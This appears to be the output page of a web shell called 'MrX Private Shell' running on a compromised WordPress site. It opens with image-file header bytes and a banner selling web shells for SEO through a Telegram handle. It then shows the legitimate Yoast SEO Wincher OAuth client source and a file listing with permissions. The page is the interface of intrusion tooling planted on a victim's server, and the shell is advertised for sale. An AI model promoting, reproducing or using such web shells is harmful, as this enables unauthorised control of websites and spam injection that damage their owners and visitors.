����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
namespace Yoast\WP\SEO\Config;
use WPSEO_Utils;
use Yoast\WP\SEO\Exceptions\OAuth\Authentication_Failed_Exception;
use Yoast\WP\SEO\Exceptions\OAuth\Tokens\Empty_Property_Exception;
use Yoast\WP\SEO\Exceptions\OAuth\Tokens\Empty_Token_Exception;
use Yoast\WP\SEO\Helpers\Options_Helper;
use Yoast\WP\SEO\Values\OAuth\OAuth_Token;
use Yoast\WP\SEO\Wrappers\WP_Remote_Handler;
use YoastSEO_Vendor\GuzzleHttp\Client;
use YoastSEO_Vendor\League\OAuth2\Client\Provider\Exception\IdentityProviderException;
/**
* Class Wincher_Client
*/
class Wincher_Client extends OAuth_Client {
/**
* The option's key.
*/
const TOKEN_OPTION = 'wincher_tokens';
/**
* Name of the temporary PKCE cookie.
*/
const PKCE_TRANSIENT_NAME = 'yoast_wincher_pkce';
/**
* The WP_Remote_Handler instance.
*
* @var WP_Remote_Handler
*/
protected $wp_remote_handler;
/**
* Wincher_Client constructor.
*
* @param Options_Helper $options_helper The Options_Helper instance.
* @param WP_Remote_Handler $wp_remote_handler The request handler.
*
* @throws Empty_Property_Exception Exception thrown if a token property is empty.
*/
public function __construct(
Options_Helper $options_helper,
WP_Remote_Handler $wp_remote_handler
) {
$provider = new Wincher_PKCE_Provider(
[
'clientId' => 'yoast',
'redirectUri' => 'https://auth.wincher.com/yoast/setup',
'urlAuthorize' => 'https://auth.wincher.com/connect/authorize',
'urlAccessToken' => 'https://auth.wincher.com/connect/token',
'urlResourceOwnerDetails' => 'https://api.wincher.com/beta/user',
'scopes' => [ 'profile', 'account', 'websites:read', 'websites:write', 'offline_access' ],
'scopeSeparator' => ' ',
'pkceMethod' => 'S256',
],
[
'httpClient' => new Client( [ 'handler' => $wp_remote_handler ] ),
]
);
parent::__construct(
self::TOKEN_OPTION,
$provider,
$options_helper
);
}
/**
* Return the authorization URL.
*
* @return string The authentication URL.
*/
public function get_authorization_url() {
$parsed_site_url = \wp_parse_url( \get_site_url() );
$url = $this->provider->getAuthorizationUrl(
[
'state' => WPSEO_Utils::format_json_encode( [ 'domain' => $parsed_site_url['host'] ] ),
]
);
$pkce_code = $this->provider->getPkceCode();
// Store a transient value with the PKCE code that we need in order to
// exchange the returned code for a token after authorization.
\set_transient( self::PKCE_TRANSIENT_NAME, $pkce_code, \DAY_IN_SECONDS );
return $url;
}
/**
* Requests the access token and refresh token based on the passed code.
*
* @param string $code The code to send.
*
* @return OAuth_Token The requested tokens.
*
* @throws Authentication_Failed_Exception Exception thrown if authentication has failed.
*/
public function request_tokens( $code ) {
$pkce_code = \get_transient( self::PKCE_TRANSIENT_NAME );
if ( $pkce_code ) {
$this->provider->setPkceCode( $pkce_code );
}
return parent::request_tokens( $code );
}
/**
* Performs the specified request.
*
* @codeCoverageIgnore
*
* @param string $method The HTTP method to use.
* @param string $url The URL to send the request to.
* @param array $options The options to pass along to the request.
*
* @return mixed The parsed API response.
*
* @throws IdentityProviderException Exception thrown if there's something wrong with the identifying data.
* @throws Authentication_Failed_Exception Exception thrown if authentication has failed.
* @throws Empty_Token_Exception Exception thrown if the token is empty.
*/
protected function do_request( $method, $url, array $options ) {
$options['headers'] = [ 'Content-Type' => 'application/json' ];
return parent::do_request( $method, $url, $options );
}
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| migrations | Folder | 0755 |
|
|
| badge-group-names.php | File | 1.48 KB | 0644 |
|
| conflicting-plugins.php | File | 5.26 KB | 0644 |
|
| indexing-reasons.php | File | 1.08 KB | 0644 |
|
| migration-status.php | File | 5.14 KB | 0644 |
|
| oauth-client.php | File | 8.92 KB | 0644 |
|
| researcher-languages.php | File | 332 B | 0644 |
|
| schema-ids.php | File | 1.1 KB | 0644 |
|
| schema-types.php | File | 4.48 KB | 0644 |
|
| semrush-client.php | File | 2.61 KB | 0644 |
|
| wincher-client.php | File | 3.82 KB | 0644 |
|
| wincher-pkce-provider.php | File | 7 KB | 0644 |
|
| wordproof-app-config.php | File | 525 B | 0644 |
|
| wordproof-translations.php | File | 2.5 KB | 0644 |
|